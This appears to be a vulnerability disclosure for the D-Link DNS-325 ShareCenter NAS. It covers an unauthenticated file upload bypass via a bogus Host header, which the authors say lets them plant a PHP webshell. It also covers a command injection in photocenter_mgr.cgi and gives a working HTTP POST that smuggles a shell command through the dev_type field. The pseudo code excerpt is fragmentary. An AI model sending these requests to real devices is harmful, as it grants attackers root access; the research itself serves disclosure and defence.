--[ 00 - Introduction

The purpose of this article is to detail the research that I have recently 
completed regarding the D-Link DNS 325 ShareCenter.

--[ 00.1 - Background

D-Link Share Center DNS-325 2-Bay Network Storage Enclosure is an easy to 
use solution for accessing, sharing and backing up your important data.


--[ 01 - Unrestricted file upload

The DNS-325 is vulnerable to the same file upload issue as the DNS-320L. 
The vulnerable code can be found within the following file:

/usr/local/modules/web/pages/jquery/uploader/multi_uploadify.php

The root of the problem here is due to the misuse and misunderstanding of
the PHP gethostbyaddr() function used within PHP, by the developer of this 
particular piece of code. From the PHP manual this functions return values 
are defined as the following for gethostbyaddr():

"Returns the host name on success, the unmodified ip_address on failure, or 
FALSE on malformed input."

With a brief overview of the problem, let's have a look 
at the offending code in order to get a better understanding of what is 
going on with this particular vulnerability.

--[ 01.1 - Vulnerable code analysis

Below is the code from the vulnerable "multi_uploadify.php" script. You can
see that we have annoted the code to explain what is happening.

#BUG 01: Here the attacker controlled "Host" header is used to define the 
remote auth server. This is by itself really bad, as an attacker could
easily just specify that the host be the IP address of a server that they
are in control of. But, if we send it an invalid "Host" header it will just
simply return FALSE as defined in the PHP manual.

$ip = gethostbyaddr($_SERVER['HTTP_HOST']);
$name = $_REQUEST['name'];
$pwd = $_REQUEST['pwd'];
$redirect_uri =  $_REQUEST['redirect_uri']; 

//echo $name ."
".$pwd."
".$ip;

#BUG 02: At this point, this request should always fail. The $result
variable should now be set to FALSE.

$result = @stripslashes( @join( @file( "http://".$ip."/mydlink/mydlink.cgi?
cmd=1&name=".$name."=&pwd=".$pwd ),"" ));

#BUG 03: Here an empty haystack is searched, and thus strstr() returns a
value of FALSE.

$result_1 = strstr($result,"0");
$result_1 = substr ($result_1, 0,28);  

#BUG 04: The strncmp() call here is a strange one. It looks for a specific
login failure. So, it never accounts for when things go wrong or slightly
unexpected. As a result this "if" statement will always be skipped.

if (strncmp ($result_1,"0",28) == 0 )
//if (strstr($result,"0")== 0 )
{
    header("HTTP/1.1 302 Found");
  header("Location: ".$redirect_uri."?status=0");
  exit();   
}

#BUG 05: At this point all checks have been passed, and an attacker can use
this issue to upload any file to the server that they want.

The rest of the source code was omitted for the sake of breivity, but it 
just handles the file upload logic once the user passes the authentication
checks.

--[ 01.2 - Remote exploitation

Exploiting this issue to gain a remote shell as root is a rather trivial
process. All an attacker has to do is send a post request that contains a 
file to upload using the parameter "Filedata[0]", a location for the file 
to be upload to which is specified within the "folder" parameter, and of 
course a bogus "Host" header.

We have written a Metasploit module to exploit this issue. The module will
use this vulnerability to upload a PHP webshell to the "/var/www/"
directory. Once uploaded, the webshell can be executed by requesting a URI
pointing to the backdoor, and thus triggering the payload.


--[ 02 - Command Injection

There are a number of issues with the CGI's contained within the DNS-325
file structure. The issues that we came across over and over were lack of
authentication, as well as command injection. We will examine one of these
issues, and leave the others as an excercise to the reader.


--[ 02.1 - Vulnerable code analysis

The CGI binary named "photocenter_mgr.cgi" is vulnerable to a very straight 
forward command injection issue when calling the "cgi_set_airplay_device"
function.

    system("kill `pidof airplay_daemon`");
    result = fwrite("timeout", 1u, 0x25u, 
    (FILE *)cgiOut);
  }
  return result;
}

As we can see in the above psuedo code parameters taken from form input are
use directly within a system call without being sanitized. This can be 
leveraged by an attacker to execute arbitrary commands as root. 
Authentication is not required to exploit this issue.

--[ 02.2 - Remote exploitation

Exploiting this issue is trivial. Authentication is not required to 
successfully exploit this issue and gain a remote root shell.


POST /cgi-bin/photocenter_mgr.cgi HTTP/1.1
Host: 192.168.0.10
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0)

Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 62

cmd=cgi_set_airplay_device&dev_type=1";touch /tmp/gulftech;"


Simply sending a post request like the one above will successfully create a
file named "gulftech" in the /tmp directory as root.
